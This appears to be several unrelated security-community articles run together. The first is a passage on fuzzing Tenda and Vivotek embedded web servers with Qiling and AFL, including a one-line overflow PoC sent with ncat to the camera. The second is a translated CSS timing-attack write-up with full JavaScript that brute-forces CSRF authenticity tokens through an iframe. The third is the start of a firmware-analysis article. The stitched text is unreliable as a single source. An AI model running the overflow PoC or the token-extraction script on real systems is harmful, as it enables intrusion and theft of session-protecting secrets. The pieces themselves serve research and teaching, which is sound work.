#!/bin/sh
curl -v -H "X-Requested-With: XMLHttpRequest" -b "password=1234" -e http://localhost:8080/samba.html -H "Content-Type:application/x-www-form-urlencoded" --data "entrys=sync" --data "page=CCCCAAAA" http://localhost:8080/goform/addressNat
那么我们就获得了模拟进程快照`snapshot.bin`之后fuzz就重复利用该文件启动就行，对应`fuzz_tendaac15_httpd.py`
def main(input_file, enable_trace=False):
ql = Qiling(["rootfs/bin/httpd"], "rootfs", verbose=QL_VERBOSE.DEBUG, console = True if enable_trace else False)
# save current emulated status
ql.restore(snapshot="snapshot.bin")
# return should be 0x7ff3ca64
fuzz_mem=ql.mem.search(b"CCCCAAAA")
target_address = fuzz_mem[0]
def place_input_callback(_ql: Qiling, input: bytes, _):
_ql.mem.write(target_address, input)
def start_afl(_ql: Qiling):
"""
Callback from inside
"""
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
ql.hook_address(callback=start_afl, address=0x10930+8)
try:
ql.run(begin = 0x10930+4, end = 0x7a0cc+4)
os._exit(0)
except:
if enable_trace:
print("\nFuzzer Went Shit")
os._exit(0)
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
if len(sys.argv) > 2 and sys.argv[1] == "-t":
main(sys.argv[2], enable_trace=True)
else:
main(sys.argv[1])
* 恢复快照：ql.restore(snapshot="snapshot.bin")
* 变异数据缓存定位：fuzz_mem=ql.mem.search(b"CCCCAAAA")
* 以hook方式从起始地址附近的开始fuzz：ql.hook_address(callback=start_afl, address=0x10930+8)
最后开始Fuzz
#!/usr/bin/sh
AFL_DEBUG_CHILD_OUTPUT=1 AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" ./AFLplusplus/afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_tendaac15_httpd.py @@
**说实话这样连最关键的fuzz范围`0x10930`，`0x7a0cc`怎么来的都不知道当时逆向定位这两个地址也是一头雾水毫无特征，还是得自己实操**
因此选定了Boa框架(之前了解过源码)从零开始对其进行Fuzz
## Boa Fuzz
选择一个网上有许多漏洞分析的设备：vivetok
摄像头，固件[链接](https://objects.githubusercontent.com/github-production-repository-file-5c1aeb/84257798/3128058?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221208%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20221208T052257Z&X-Amz-Expires=300&X-Amz-Signature=9a257e351faa9f25e49c6ddc70e3fe94bc94eed63d940d5c70fe1f71570f4120&X-Amz-SignedHeaders=host&actor_id=57476305&key_id=0&repo_id=84257798&response-content-disposition=attachment%3Bfilename%3DCC8160-VVTK-0100d.flash.zip&response-content-type=application%2Fx-zip-compressed)；而且webservre为Boa框架
Poc：
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80
**_Boa框架_** ：
主要处理逻辑在`process_requests`函数中：
/*获取就绪队列并处理*/
current = request_ready;
while (current) {
time(¤t_time);
if (current->buffer_end && /* there is data in the buffer */
current->status != DEAD && current->status != DONE) {
retval = req_flush(current);
/*
* retval can be -2=error, -1=blocked, or bytes left
*/
if (retval == -2) { /* error */
current->status = DEAD;
retval = 0;
} else if (retval >= 0) {
/* notice the >= which is different from below?
Here, we may just be flushing headers.
We don't want to return 0 because we are not DONE
or DEAD */
retval = 1;
}
} else {/*主要处理请求部分在这里*/
switch (current->status) {
case READ_HEADER:
case ONE_CR:
case ONE_LF:
case TWO_CR:
retval = read_header(current); //解析request头部，该函数类似与FILE_IO
break; //函数request内部有8192+1字节的buffer，data的头尾指针等，最终调用
case BODY_READ: //bytes = read(req->fd, buffer + req->client_stream_pos, buf_bytes_left);读取
retval = read_body(current);
break;
case BODY_WRITE:
retval = write_body(current);
break;
case WRITE:
retval = process_get(current);
break;
case PIPE_READ:
retval = read_from_pipe(current);
break;
case PIPE_WRITE:
retval = write_from_pipe(current);
break;
case DONE:
/* a non-status that will terminate the request */
retval = req_flush(current);
/*
* retval can be -2=error, -1=blocked, or bytes left
*/
if (retval == -2) { /* error */
current->status = DEAD;
retval = 0;
} else if (retval > 0) {
retval = 1;
}
break;
case DEAD:
retval = 0;
current->buffer_end = 0;
SQUASH_KA(current);
break;
default:
retval = 0;
fprintf(stderr, "Unknown status (%d), "
"closing!\n", current->status);
current->status = DEAD;
break;
}
}
主要看中间的Switch case：
* read_header：解析request头部，该函数类似FILE_IO函数
* request内部有8192+1字节的buffer，data的头尾指针等，最终调用bytes = read(req->fd, buffer + req->client_stream_pos, buf_bytes_left);读取client发送的请求
* 会提取并解析头部信息
* 对于GET传参，主要使用read_header, read_from_pipe, write_from_pipe完成cgi的调用
* 对于POST传参，主要调用read_header, read_body, write_body完成cgi调用
就拿read_header函数来说，厂商应该会在里面增加一些url过虑以及响应处理，在这个摄像头中漏洞也确实出在这个函数：
没有对`Content-Length`成员做限制； **根据源码中提示字符串`Unknown status (%d),
closing`可以轻松定位到这几个函数**:
那么接下来就尝试利用Qiling 启动这个程序并且Partial Fuzz函数"read_header"
### 模拟启动
**模拟启动的宗旨(我的)是遇到啥错误修最后一个报错点**
启动模板：
import os, sys
sys.path.append('/home/iot/workspace/Emulator/qiling-dev')
from qiling import Qiling
from qiling.const import QL_INTERCEPT, QL_VERBOSE
def boa_run(path: list, rootfs: str, profile: str = 'default'):
ql = Qiling(path, rootfs, profile=profile, verbose=QL_VERBOSE.OFF, multithread=False)
"""setup files"""
ql.add_fs_mapper('/dev/null', '/dev/null')
"""hooks"""
ql.run()
if __name__ == '__main__':
os.chdir('/home/iot/workspace/Emulator/qiling-dev/vivetok')
path = ['./rootfs/usr/sbin/httpd', "-c", "/etc/conf.d/boa", "-d"]
rootfs = './rootfs'
profile = './boa_arm.ql'
boa_run(path=path, rootfs=rootfs, profile=profile)
* * *
**尝试启动**
首先遇到的是：gethostbyname:: Success
在IDA中定位到：
函数原型：
struct hostent *gethostbyname(const char *hostname);
struct hostent{
char *h_name; //official name
char **h_aliases; //alias list
int h_addrtype; //host address type
int h_length; //address lenght
char **h_addr_list; //address list
}
获取返回的结构体还挺复杂的，问题的原因是 在调用`gethostname`将获得 **ql_vm**
作为主机名所以当以此调用`gethostbyname`无法获得主机信息，所以hook这个函数，并提前开辟空间存放伪造信息：
"""
struct hostent{
char *h_name; //official name
char **h_aliases; //alias list
int h_addrtype; //host address type
int h_length; //address lenght
char **h_addr_list; //address list
}
"""
def hook_memSpace(ql: Qiling):
ql.mem.map(0x1000, 0x1000, info='my_hook')
data = struct.pack('<IIIII', 0x1100, 0x1100, AF_INET, 4, 0x1100)
ql.mem.write(0x1000, data)
ql.mem.write(0x1100, b'qiling')
def lib_gethostbyname(ql: Qiling):
args = ql.os.resolve_fcall_params({'name':STRING})
print('[gethostbyname]: ' + args['name'])
ql.arch.regs.write('r0', 0x1000)
还有一个严重问题就是模拟过程中程序自动采用`ipv6`协议，这就很烦因为qiling的ipv6协议支持的不是很好
#### ipv6 socket
**_AttributeError: 'sockaddr_in' object has no attribute 'sin6_addr'_**
问题处在对ipv6的系统调用bind：
elif sa_family == AF_INET6 and ql.os.ipv6:
sockaddr_in6 = make_sockaddr_in(abits, endian)
sockaddr_obj = sockaddr_in6.from_buffer(data)
port = ntohs(ql, sockaddr_obj.sin_port)
host = inet6_ntoa(sockaddr_obj.sin6_addr.s6_addr)
if ql.os.bindtolocalhost:
host = '::1'
if not ql.os.root and port <= 1024:
port = port + 8000
def make_sockaddr_in(archbits: int, endian: QL_ENDIAN):
Struct = struct.get_aligned_struct(archbits, endian)
class in_addr(Struct):
_fields_ = (
('s_addr', ctypes.c_uint32),
)
class sockaddr_in(Struct):
_fields_ = (
('sin_family', ctypes.c_int16),
('sin_port', ctypes.c_uint16),
('sin_addr', in_addr),
('sin_zero', ctypes.c_byte * 8)
)
return sockaddr_in
def make_sockaddr_in6(archbits: int, endian: QL_ENDIAN):
Struct = struct.get_aligned_struct(archbits, endian)
class in6_addr(Struct):
_fields_ = (
('s6_addr', ctypes.c_uint8 * 16),
)
class sockaddr_in6(Struct):
_fields_ = (
('sin6_family', ctypes.c_int16),
('sin6_port', ctypes.c_uint16),
('sin6_flowinfo', ctypes.c_uint32),
('sin6_addr', in6_addr),
('sin6_scope_id', ctypes.c_uint32)
)
return sockaddr_in6
make_sockaddr_in,
make_sockaddr_in6基于`ctypes`构造严格的sockaddr结构体，因为是ipv6所以得用`make_sockaddr_in6`
还有就是函数`(function) inet6_ntoa: (addr: bytes) ->
str`需要bytes对象而sockaddr_obj.sin6_addr.s6_addr是cbytes类型所以得 **bytes转**
sockaddr_in6 = make_sockaddr_in6(abits, endian)
sockaddr_obj = sockaddr_in6.from_buffer(data)
port = ntohs(ql, sockaddr_obj.sin6_port)
host = inet6_ntoa(bytes(sockaddr_obj.sin6_addr.s6_addr))
**_OSError: [Errno 98] Address already in use_**
还是在调用bind时候，因为qiling会对低于1024的端口bind进行修改：
if not ql.os.root and port <= 1024:
port = port + 8000
而后面还对8080端口进行一次bind，所以这里得改，然后其实就能进入核心处理逻辑了 ：
当然还得看看链接有没有问题：尝试访问又出现问题
$ echo -en "GET /index.html HTTP/1.0\n\rContent-Length:20\n\r\n\r" | nc -v ::1 9080
Connection to ::1 9080 port [tcp/*] succeeded!
File "/home/iot/workspace/Emulator/qiling-dev-stb/qiling/os/posix/syscall/socket.py", line 669, in ql_syscall_accept
host, port = address
ValueError: too many values to unpack (expected 2)
**_ValueError: too many values to unpack (expected 2)_**
经调试原来在python中accept ipv6的连接后会返回一个长度为4的元组的address：
同样的问题还发生在ql_syscall_getsockname：`sockname = sock.getsockname()`
**_TypeError: expected c_ubyte_Array_16 instance, got int_**
[x] Syscall ERROR: ql_syscall_accept DEBUG: expected c_ubyte_Array_16 instance, got int
Traceback (most recent call last):
File "/home/iot/workspace/Emulator/qiling-dev-stb/qiling/os/posix/posix.py", line 280, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/home/iot/workspace/Emulator/qiling-dev-stb/qiling/os/posix/syscall/socket.py", line 674, in ql_syscall_accept
obj.sin6_addr.s6_addr = inet6_aton(str(host))
TypeError: expected c_ubyte_Array_16 instance, got int
解决：bytes转cbyts类
obj.sin6_addr.s6_addr = (ctypes.c_ubyte * 16).from_buffer_copy(inet6_aton(str(host)).to_bytes(16, 'big'))
主要问题就这些(修了挺久的)，然后就可以对一些函数进行fuzz了
### Fuzz Partial
确定Fuzz范围，这个范围主要是给到ql_afl_fuzz函数，这里是打算Fuzz read_header函数(sub_17F80)，那么从数据入口下手：
读取POST或者GET方法的http包那么肯定要解析处理的，处理完成返回一个状态(源码中retval)来指示下一步处理，找到退出点：
因此要从`0x180F8`附近开始Fuzz，然后`0x18398`表示函数正常退出将执行下一轮fuzz
脚本模板：
import os, sys
sys.path.append('/home/iot/workspace/Emulator/qiling-dev')
from qiling.const import QL_INTERCEPT, QL_VERBOSE
from qiling import Qiling
from qiling.extensions.afl import ql_afl_fuzz
def main(input_file: str, trace: bool = False):
ql = Qiling(['./rootfs/usr/sbin/httpd', "-c", "/etc/conf.d/boa", "-d"], rootfs='./rootfs', profile='./boa_arm.ql', verbose=QL_VERBOSE.OFF, console = True if trace else False)
ql.restore(snapshot='./context.bin')
def place_input_callback(_ql: Qiling, input: bytes, _):
# print(b"**************** " + input)
_ql.mem.write(target_addr, input)
def start_afl(_ql: Qiling):
"""
Callback from inside
"""
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[0x018398])
ql.hook_address(callback=start_afl, address=0x180F8)
try:
# ql.debugger = True
ql.run(begin=0x180F8)
os._exit(0)
except:
if trace:
print("\nFuzzer Went Shit")
os._exit(0)
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
os.chdir('/home/iot/workspace/Emulator/qiling-dev/vivetok')
if len(sys.argv) > 2 and sys.argv[1] == "-t":
main(sys.argv[2], trace=True)
else:
main(sys.argv[1])
* ql.hook_address(callback=start_afl, address=0x180F8)：在执行到`0x180F8`这个位置时调用start_afl函数
* ql.run(begin=0x180F8)：从`0x180F8`开始执行
* ql_afl_fuzz：就是unicornafl提供的fuzz接口`uc_afl_fuzz_custom`的一个wrapper
* place_input_callback：ql_afl_fuzz会调用的回调函数，负责写入fuzz数据
### Fuzz buf
根据网上的漏洞分析比对源码框架，利用:
cho -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn" | nc -v ::1 9080
可以触发漏洞，具体位于框架中http头部解析函数：read_header，位于httpd中17F80位置
那么该如何fuzz呢，根据网上unicorn-afl官方用例和qiling官方用例：buf-fuzz，即定位代码中读取数据位置，然后读取完后劫持搜索特定字符串定位fuzz的buff_addr，当然需要状态保存(当然这个方法肯定不是很严谨，因此后面还会介绍劫持read函数方法)
#### 快照
import os, sys, struct
from socket import AF_INET
sys.path.append('/home/iot/workspace/Emulator/qiling-dev')
from qiling import Qiling
from qiling.const import QL_INTERCEPT, QL_VERBOSE
from qiling.os.const import STRING
from unicorn.unicorn import UcError
"""
struct hostent{
char *h_name; //official name
char **h_aliases; //alias list
int h_addrtype; //host address type
int h_length; //address lenght
char **h_addr_list; //address list
}
"""
def hook_memSpace(ql: Qiling):
ql.mem.map(0x1000, 0x1000, info='my_hook')
data = struct.pack('<IIIII', 0x1100, 0x1100, AF_INET, 4, 0x1100)
ql.mem.write(0x1000, data)
ql.mem.write(0x1100, b'qiling')
def lib_gethostbyname(ql: Qiling):
args = ql.os.resolve_fcall_params({'name':STRING})
print('[gethostbyname]: ' + args['name'])
ql.arch.regs.write('r0', 0x1000)
def saver(ql: Qiling):
print('[!] Hit Saver 0x%X'%(ql.arch.regs.arch_pc))
ql.save(cpu_context=False, snapshot='./context.bin')
print(ql.mem.search(b'fuck'))
#[read(5, 0x4edca, 0x2000)] locate buf
def read_syscall(ql: Qiling, fd: int, buf: int, size: int, *args) -> None:
print(f'[read({fd}, {buf: #x}, {size: #x})]')
def boa_run(path: list, rootfs: str, profile: str = 'default'):
ql = Qiling(path, rootfs, profile=profile, verbose=QL_VERBOSE.OFF, multithread=False)
"""setup files"""
ql.add_fs_mapper('/dev/null', '/dev/null')
"""set ram"""
hook_memSpace(ql)
"""hooks"""
ql.os.set_api('gethostbyname', lib_gethostbyname, QL_INTERCEPT.CALL)
ql.os.set_syscall('read', read_syscall, QL_INTERCEPT.ENTER)
"""setup saver"""
ql.hook_address(saver, 0x0180FC) #read finish
ql.run()
if __name__ == '__main__':
os.chdir('/home/iot/workspace/Emulator/qiling-dev/vivetok')
path = ['./rootfs/usr/sbin/httpd', "-c", "/etc/conf.d/boa", "-d"]
rootfs = './rootfs'
profile = './boa_arm.ql'
boa_run(path=path, rootfs=rootfs, profile=profile)
然后使用poc触发就行
#### fuzz
import os, sys, struct
import capstone as Cs
sys.path.append('/home/iot/workspace/Emulator/qiling-dev')
from qiling.const import QL_INTERCEPT, QL_VERBOSE
from qiling import Qiling
from qiling.extensions.afl import ql_afl_fuzz
def simple_diassembler(ql: Qiling, address: int, size: int, md: Cs) -> None:
buf = ql.mem.read(address, size)
for insn in md.disasm(buf, address):
ql.log.debug(f':: {insn.address:#x} : {insn.mnemonic:24s} {insn.op_str}')
def main(input_file: str, trace: bool = False):
ql = Qiling(['./rootfs/usr/sbin/httpd', "-c", "/etc/conf.d/boa", "-d"], rootfs='./rootfs', profile='./boa_arm.ql', verbose=QL_VERBOSE.OFF, console = True if trace else False)
ql.restore(snapshot='./context.bin')
fuzz_mem = ql.mem.search(b'fuck')
target_addr = fuzz_mem[0]
def place_input_callback(_ql: Qiling, input: bytes, _):
# print(b"**************** " + input)
_ql.mem.write(target_addr, input)
def start_afl(_ql: Qiling):
"""
Callback from inside
"""
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[0x018398])
ql.hook_address(callback=start_afl, address=0x0180FC+4)
# ql.hook_code(simple_diassembler, begin=0x0180FC, end=0x018600, user_data=ql.arch.disassembler)
try:
# ql.debugger = True
ql.run(begin=0x0180FC+4, end=0x018600) #注意arm函数返回地址比较奇怪，不一定在函数末尾
os._exit(0)
except:
if trace:
print("\nFuzzer Went Shit")
os._exit(0)
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
os.chdir('/home/iot/workspace/Emulator/qiling-dev/vivetok')
if len(sys.argv) > 2 and sys.argv[1] == "-t":
main(sys.argv[2], trace=True)
else:
main(sys.argv[1])
这里很坑的一点是，在漏洞中因为`Content-Length`成员不以\n结尾时就会让v31等于0会让strncpy报错但是不一定是pc指针错误，而是某些指令地址操作数问题
v30 = strstr(haystack, "Content-Length");
v31 = strchr(v30, '\n');
v32 = strchr(v30, ':');
strncpy(dest, v32 + 1, v31 - (v32 + 1));
在源码中AFL模块调用以下函数完成fuzz执行：
def _dummy_fuzz_callback(_ql: "Qiling"):
if isinstance(_ql.arch, QlArchARM):
pc = _ql.arch.effective_pc
else:
pc = _ql.arch.regs.arch_pc
try:
_ql.uc.emu_start(pc, 0, 0, 0)
except UcError as e:
os.abort() #添加部分
return e.errno
因此添加`os.abort`通知AFL程序崩溃
#### 效果
### Fuzz sys_read
上面直接对buf写入Fuzz数据肯定不是一个很理想的办法(比如Fuzz数据超出读取长度)，当然人家给的例子就是这么Fuzz的也不失一种方法；之后
就尝试利用Qiling的系统调用劫持功能让Fuzz效果更好。
从read函数调用处开始执行，在这之前劫持read函数调用让程序直接读取文件输入：
def read_syscall(ql: Qiling, fd: int, buf: int, size: int, *args) -> int:
# print(fd, buf, size)
data = ql.os.stdin.read(size)
# print(data)
ql.mem.write(buf, data)
return len(data)
def place_input_callback(_ql: Qiling, input: bytes, _):
# print(b"**************** " + input)
ql.os.stdin.write(input)
return True
def start_afl(_ql: Qiling):
"""
Callback from inside
"""
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[0x018398])
#### 效果
同样写个脚本把服务并且设置debugger等待gdb连接：
然后将crash中的数据发送：
也确实触发到了漏洞：
0x900a5d74 in strncpy () from target:/lib/libc.so.0
gef? backtrace
#0 0x900a5d74 in strncpy () from target:/lib/libc.so.0
#1 0x0001853c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
gef?
#### 技巧
fuzz过程中不好调试连写的harness有没有效果都不知道，可以使用capstone同步解析执行汇编情况：
def simple_diassembler(ql: Qiling, address: int, size: int, md: Cs) -> None:
buf = ql.mem.read(address, size)
for insn in md.disasm(buf, address):
ql.log.debug(f':: {insn.address:#x} : {insn.mnemonic:24s} {insn.op_str}')
## 参考
* [Demo - Qiling Framework Documentation](https://docs.qiling.io/en/latest/demo/)
* [IOT Fuzz 两种思路](https://blog.csdn.net/jazrynwong/article/details/117228447)
* [vivetok 摄像头远程栈溢出漏洞分析-安全客 - 安全资讯平台 (anquanke.com)](https://www.anquanke.com/post/id/185336#h2-2)
* [Vivotek远程栈溢出漏洞分析与复现 - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/5054)
* [基于Unicorn和LibFuzzer的模拟执行fuzzing](http://galaxylab.com.cn/%e5%9f%ba%e4%ba%8eunicorn%e5%92%8clibfuzzer%e7%9a%84%e6%a8%a1%e6%8b%9f%e6%89%a7%e8%a1%8cfuzzing/)
* [基于 unicorn 的单个函数模拟执行和 fuzzer 实现](http://galaxylab.pingan.com.cn/%E5%9F%BA%E4%BA%8E-unicorn-%E7%9A%84%E5%8D%95%E4%B8%AA%E5%87%BD%E6%95%B0%E6%A8%A1%E6%8B%9F%E6%89%A7%E8%A1%8C%E5%92%8C-fuzzer-%E5%AE%9E%E7%8E%B0/)
* * * | 社区文章 |
原文链接： <https://blog.sheddow.xyz/css-timing-attack/>
作者：sheddow
你有没有遇到过运行jQuery（location.hash）的网站？看似相当无害，对吧？
location.hash始终以“＃”开头，因此所有这些代码都会执行CSS查询选择器。事实证明，这就足以执行时序攻击，这种攻击可以从HTML中提取几乎任何秘密字符串。
让我们从基础开始讲起。 CSS选择器用于匹配和选择HTML元素，如下所示：
div，a[href],input[name=authenticity_token].
如果使用CSS3，你就可以拥有更复杂的选择器，例如可以用input[value^='x']来匹配以'x'开头的输入元素。
那么进入时序攻击的下一个部分。实验是最好的学习方法，打开浏览器控制台（Firefox中用Ctrl-Shift-K，Chrome中用Ctrl-Shift-J）。我保证不会把你骗进self-XSS的。执行$(" _:has(_ :has( _:has(_ )) _:has(_ :has(
_:has(_ ))) _:has(_ :has( _:has(_ )))) main[id='site-main']")。除非你有一台非常快的电脑，不然它应该在返回之前稍微延迟。现在执行$(" _:has(_ :has( _:has(_ )) _:has(_
:has( _:has(_ ))) _:has(_ :has( _:has(_ ))))
main[id='doesntexist']")。注意它的速度有多快了吗？你刚刚发现了一个CSS选择器的非常有趣的属性：短路。浏览器从右到左评估选择器，因此它会开始搜索main[id='site-main']。当它找到时，它必须确保其具有匹配 这个的父元素 _:has(_ :has( _:has(_ )) _:has(_ :has( _:has(_
))) _:has(_ :has( _:has(_ ))))。也就是这部分需要如此长的时间（在浏览器中没有实现:has
伪类，但在jQuery中能）。对于另一个选择器，浏览器评估main[id='doesntexist']，然后当浏览器找不到它时，就会退出，并且忽略选择器的其余部分。换句话说，它在大多数编程语言中表现出与
and/&& 相同的短暂行为 —— 后退。
现在时序攻击已初具规模。假设我们想要提取authenticity_token（它可以防止Rails应用程序中的CSRF）。如果我们执行选择器
_:has(:has(:has(_ )) :has( _) :has(_ ))
input[name=authenticity_token][value^='x']，那么只有当authenticity_token
以'x'开头时会需要很长时间。但现在仍然存在一个很重要的问题：我们如何衡量这个时差？从Eduardo
Vela的博客文章我们可以得到答案。他提出了这样一个出色的见解：受害者站点和攻击者站点都在同一个线程中运行，因此受害者站点上长时间运行的
javascript 进程将阻止攻击者站点上的执行。这为我们提供了一种方法，这种方法能检测选择器在何时执行会耗时较长。
我建立了一个示例网站，以便我们可以更轻松地进行实验：<https://labs.sheddow.xyz/fsf.html>
。尝试将#header1附加到URL，看看会发生什么。查看页面源代码并查看hashchange处理器来方便确切了解它的作用。我还在<https://hack.sheddow.xyz/fsf.html>
上设置了攻击者网站，该网站将受害者网站嵌入为iframe。好了，那么现在来入侵
！hack.sheddow.xyz这个网站可以安排稍后用setTimeout执行回调，然后在受害者站点上执行选择器（在我们的例子中是用hashchange处理器）。如果hashchange处理器非常慢，它将推迟回调的执行，并且可以使用window.performance.now这个网站来测量此延迟。那么我们尝试将其转换为代码。
const WAIT_TIME = 6;
const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";
const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
function get_execution_time(selector) {
var t0 = window.performance.now();
var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + "," + Math.random();
return p;
}
function measure_time(t0) {
var t = window.performance.now() - t0;
return t;
}
首先我们定义一个函数wait，以便我们可以直接使用 Promise 而不是 setTimeout 。
get_execution_time返回一个应该在WAIT_TIME毫秒内解析的 Promise，但在此之前，它会执行hashchange处理器。
hashchange处理器将占用线程，Promise的解析将被推迟。如果hashchange处理器需要50ms才能执行，那么Promise将在至少50ms才内解析，并且它将解析出一个值得耗那么多时间的东西。
WAIT_TIME只是为了确保
hashchange处理器在promise解析之前开始执行。接下来在<https://hack.sheddow.xyz/fsf.html>
进行测试：打开浏览器控制台，输入get_execution_time("p").then(console.log)，它应该会显示大约10-20ms。然后尝试get_execution_time("
_:has(_ :has(
_))").then(console.log)，它应该显示接近100ms的东西。此时我们可以开始强制执行authenticity_token：只需执行get_execution_time("_
:has( _:has(_ ) _:has(_ ) _:has(_ ) _:has(_ ))
input[name=authenticity_token][value^='a']")对于每个可能的参数，花费最长时间的参数可能是正确的参数。
尽管如此，我们还可以让它更快。如果你熟悉SQL盲注，那么你就会知道逐个字符测试不是最佳策略。与SQL盲注一样，每个查询都会产生一位信息（“快”或“慢”），因此应该可以将每个查询的搜索空间减半。诀窍是同时测试大量字符，并使用类似二进制搜索的算法来缩小它。假设我们测试abcdefghijklmnopqrstuvwxyzABCDEF。我们可以将选择器与逗号组合在一起，因此我们最终会得到一个类似于这样的超长选择器：`:has(:has()
*:has() :has() :has())
inputname=authenticity_token, :has(:has() *:has()
:has() :has()) inputname=authenticity_token,
然后我们将这些字符的执行时间与GHIJKLMNOPQRSTUVWXYZ0123456789+/`的执行时间进行比较，并且最长时间包含正确的字符。然后我们将正确的字符串分成两半并递归地重复两个子字符串上的过程，直到我们找到正确的字符。
把它变成代码。这里将使用async / await来使代码更清晰。
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
async function binary_search(prefix, characters) {
console.log("Testing '" + characters + "'");
if (characters.length == 1) {
return characters[0];
}
var mid = Math.floor(characters.length/2);
var s1 = make_selector(prefix, characters.slice(0, mid));
var s2 = make_selector(prefix, characters.slice(mid, characters.length));
var t1 = await get_execution_time(s1);
var t2 = await get_execution_time(s2);
if (t1 < t2) {
return binary_search(prefix, characters.slice(mid, characters.length));
}
else {
return binary_search(prefix, characters.slice(0, mid));
}
}
function make_selector(prefix, characters) {
return characters
.split("")
.map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
.join(",");
}
直接点说， 它只是将characters分成两部分，测量每一半的执行时间，然后递归调用自身。
如果你在 <https://hack.sheddow.xyz/fsf.html> 上运行binary_search("",
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/").then(console.log)
，网站会返回g。
最后，我们可以开始强制执行整个token。 类似于下面这种：
var token = "";
while (token.length < TOKEN_LENGTH) {
var c = await binary_search(token, BASE64_CHARS);
token += c;
}
还好吧？ 没那么快。 如果只是猜错了一个字符，它就将中断所有后面的查询。 你最终就会得到一个错误的token。
幸运的是，正确和不正确的查询之间的时差非常大，以至于我们可以检测到我们是否猜错了。 我们只需创建一个功能
function approximately_equal(t1, t2) {
var diff = Math.abs(t1 - t2);
return diff <= 0.2*t1 || diff <= 0.2*t2;
}
如果t1和t2大致相等，则修改binary_search以返回null。 现在我们再试一次：
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
var misses = 0;
var token = "";
while (token.length < TOKEN_LENGTH) {
var c = await binary_search(token, BASE64_CHARS);
if (c === null) {
misses++;
if (misses == 3) {
token = token.slice(0, -1); // Backtrack
}
}
else {
token += c;
misses = 0;
}
}
return token;
}
TOKEN_LENGTH是43因为我们正在寻找一个32位的由base64编码的token。我们可以忽略最终的等号。如果binary_search连续三次不成功，我们可能会有一个错误的token，所以我们从末尾删除一个字符。
剩下的就是证明这个概念。只需转到这个网址 <https://hack.sheddow.xyz/fsf.html?attack.。> 由于它使用 async
/
await，因此你需要一个相对较新的浏览器。我只在Firefox和Chromium中测试过它，但我认为它应该适用于大多数浏览器。如果没有，请告诉我！谢谢阅读！
下面更新一些问答：
站点隔离是否可以防止此攻击？
是的，实际上事实证明，Chrome认为hack.sheddow.xyz和labs.sheddow.xyz是相同的“网站”，即使它们的来源不同。如果你从<https://notsheddow.xyz/fsf.html?attack尝试同样的攻击，你会发现它在Chrome中不起作用。>
设置X-Frame-Options是否可以防止此攻击？
不会，这只会让它更难以利用。你可以使用window.open打开一个新窗口，然后通过window.opener而不是通过window.frames
[0]执行相同的攻击。 | 社区文章 |
# 【技术分享】物联网设备的固件分析技术
|
##### 译文声明
本文是翻译文章，文章来源：attify
原文地址：<http://blog.attify.com/2016/07/08/firmware-analysis-iot-devices/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：250RMB（不服你也来投稿啊！）**
********投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿****
**传送门**
[**【技术分享】打造基于Zigbee的IoT漏洞安全试验环境**
****](http://bobao.360.cn/learning/detail/3229.html)
**
**
**前言**
本文是物联网漏洞利用和渗透测试系列中的第二篇文章。在这篇文章中，我们将考察物联网设备体系结构中的一个关键组件——固件。
您使用的任何物联网设备，都会与固件进行交互，固件可以被视为在物联网或嵌入式设备上运行的实际代码。在本文中，我们将首先介绍从固件中提取文件系统的各种方法，然后会进一步深入分析相应的二进制漏洞。物联网设备最常见的架构是ARM和MIPS，这也是本系列稍后将要介绍的内容。
在深入探讨固件之前，我们首先来了解一下该组件相关的知识，例如文件系统类型、压缩技术、加密技术和引导加载程序（bootloader）。
**固件的组成**
**文件系统类型：**
在固件分析的过程中，我们将遇到各种各样的文件系统，如Squashfs、Cramfs、YAFFS2等。文件系统的选择主要取决于创建该嵌入式设备的开发人员，以及他们想要提供的其他功能，这些功能可能
某个文件系统中可用，而在另一个文件系统中则不支持该功能。例如，Squashfs是一个压缩型的Linux只读文件系统，它是嵌入式设备中最常见的文件系统之一。
在<http://elinux.org/file_systems>页面中，提供了一个完整的文件系统的清单。
如果固件映像是基于文件系统类型的话，那么我们就可以尝试挂载它并分析其中的内容了。
